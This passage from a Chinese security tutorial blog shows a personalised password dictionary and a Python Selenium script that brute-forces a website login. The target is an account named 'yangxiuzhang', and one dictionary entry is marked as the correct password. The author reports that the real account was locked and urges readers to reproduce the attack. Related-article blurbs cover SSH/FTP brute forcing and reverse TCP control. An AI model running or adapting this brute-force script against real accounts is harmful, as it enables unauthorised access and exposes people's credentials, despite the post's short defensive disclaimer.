       ...
    YXZ123456_
    YXZ123456#
       ...
    _123456YXZ
    _123456YXz
       ...
    111111YXZ_
    111111YXZ#
       ...
    YXZ111111_
    YXZ111111#
       ...
    _111111YXZ
    _111111YXz
       ...
    666666YXZ_
    666666YXZ#
       ...
    YXZ666666_
    YXZ666666#
       ...
    _666666YXZ
    _666666YXz
       ...
    12345678YXZ_
    12345678YXZ#
       ...
    YXZ12345678_
    YXZ12345678#
       ...
    _12345678YXZ
    _12345678YXz
       ...
    qwertyYXZ_
    qwertyYXZ#
       ...
    YXZqwerty_
    YXZqwerty#
       ...
    _qwertyYXZ
    _qwertyYXz
       ...
    123456789YXZ_
    123456789YXZ#
       ...
    YXZ123456789_
    YXZ123456789#
       ...
    Yxz123456789_ (正确密码)
       ...
    _123456789YXZ
    _123456789YXz
       ...
    abc123YXZ_
    abc123YXZ#
       ...
    YXZabc123_
    YXZabc123#
       ...
    _abc123YXZ
    _abc123YXz
       ...
    

    同时本地保存生成的密码,如下图所示。

    在这里插入图片描述

    2.自动登录

    下面是调用selenium实现的自动登录功能,对应的HTML源代码如下图所示。
    用户名:< input id=“user_name” />
    密码:< input id=“password”>

    在这里插入图片描述
    完整代码如下所,建议读者学习下Python的Selenium自动化操作库,它广泛应用于自动化测试、爬虫中。

    # coding=utf-8    
    from selenium import webdriver    
    from selenium.webdriver.common.keys import Keys            
    import time
    
    #访问网站
    driver = webdriver.Firefox()
    url = 'http://www.xxxx.com'
    driver.get(url)
    print "start"
    
    #获取密码
    username = 'yangxiuzhang'
    f = open('pass_out.txt', 'r')
    for pwd in f:
        pwd = pwd.strip('\n')
        print pwd
    
        #定位用户名和密码
        #elem_name = driver.find_elements_by_xpath("//input[@id='user_name']")
        elem_name = driver.find_element_by_id("user_name")
        elem_pwd = driver.find_element_by_id("password")
        
        #输入用户名和密码
        elem_name.send_keys(username)
        elem_pwd.send_keys(pwd)
        
        #输入回车键登录
        elem_pwd.send_keys(Keys.RETURN)
        time.sleep(5)
        
        #获取当前网址
        cur_url = driver.current_url
        print cur_url
        if 'login_error' in cur_url:
            print 'error login, the password is ', pwd
        else:
            print 'succeed login, the password is ', pwd
            
    f.close()
    

    注意,该网站有两种形式提示我们错误信息,这里采用URL判断,如果出现“login_error”表示错误的密码,否则成功登陆。同时,作者将 pass_out.txt 输出的密码精简为6个,简单演示即可。

    在这里插入图片描述

    在这里插入图片描述

    输出结果如下图所示:

    在这里插入图片描述

    哎,同学们啊!绿色网络需要我们共同维护,建议大家了解它们背后的原理,更好地进行防护。法网恢恢疏而不漏,该账号成功被锁定,但是它背后的原理和方法是值得学习且可行的,也推荐大家自行搭建环境测试复现。如果您是网站的开发者或管理员,更应该知道弱口令的危害,更应该去做保护您客户安全,做好密码保护。

    在这里插入图片描述

    展开全文
  • [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二).pdf
  • 前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程,本文将分享Python攻防之自定义字典生成,调用Python的exrex库实现,并结合Selenium和BurpSuite实现网站暴库破解案例。本文参考了爱春秋ADO...
  • 这是作者的系列网络安全...本文将分析Python攻防之构建Web目录扫描器,实现IP代理池。本文参考了爱春秋ADO老师的课程内容,这里也推荐大家观看他Bilibili和ichunqiu的课程,同时也结合了作者之前的编程经验进行讲解。
  • [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一).pdf
  • [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二) 2019-10-05 11:44:11Eastmount阅读数 91更多 分类专栏:网络安全Web安全Python学习系列 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA...
  • Python攻防-FTP服务与SSH登录暴力破解

    千次阅读 多人点赞 2021-08-08 18:10:52
    本文继续学习下 Python 编程在网络攻防领域的应用,主要是通过 Python 脚本进行 SSH 登录爆破和 FTP 服务登录爆破。 SSH爆破 演示环境借助 Kali 虚拟机进行自身的 SSH 服务的登录爆破,注意提前修改/etc/ssh/sshd_...
  • python攻防-socket模块

    2020-10-27 11:56:43
    记录下学python 文章目录PYTHON 模块-socket常用的Socket方法编写案例 PYTHON 模块-socket socket模块是计算机之间进行通信的一套程序接口,相当于在发送端和接收端之间建立了一个通信管道,一些远程管理软件和网络...
  • 在前面的一篇文章:Python爬虫-京东商品到货自动邮件通知 介绍了如何通过 Python 脚本监控京东商品是否到货并自动发送到货邮件通知,为了继续学习 Python 编程语言的应用,本文将记录学习下如何通过 Python 脚本截取...
  • Python攻防-Socket通信建立TCP反向连接

    千次阅读 2021-08-17 13:55:48
    本文将记录学习基于 Socket 通信机制建立 TCP 反向连接,借助 Python 脚本实现主机远程控制的目的。 我们在传输数据时,可以只使用(传输层)TCP/IP 协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果...
  • 前文分享了Wireshark抓包原理知识,并结合NetworkMiner工具抓取了图像资源和用户名密码,本文将讲解Python网络攻防相关基础知识,包括正则表达式、Web编程和套接字通信。本文参考了爱春秋ADO老师的课程内容,这里也...
  • Python攻防-暴力破解ZIP加密文件的密码

    千次阅读 多人点赞 2021-08-07 21:19:16
    文章目录前言Python语法自定义迭代器Python脚本单线程数字爆破单线程字符爆破多线程字符爆破 前言 本文继续记录学习下 Python 的有趣应用:借助 Python 脚本暴力破解 ZIP 加密文件的密码。虽然有相关的工具 ARCHPR ...
  • pocsuite -r weblogic_CVE-2017-10271.py --dork 'weblogic' --max-page 5 --thread 20 --verify

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,607
精华内容 3,442
关键字:

python攻防

python 订阅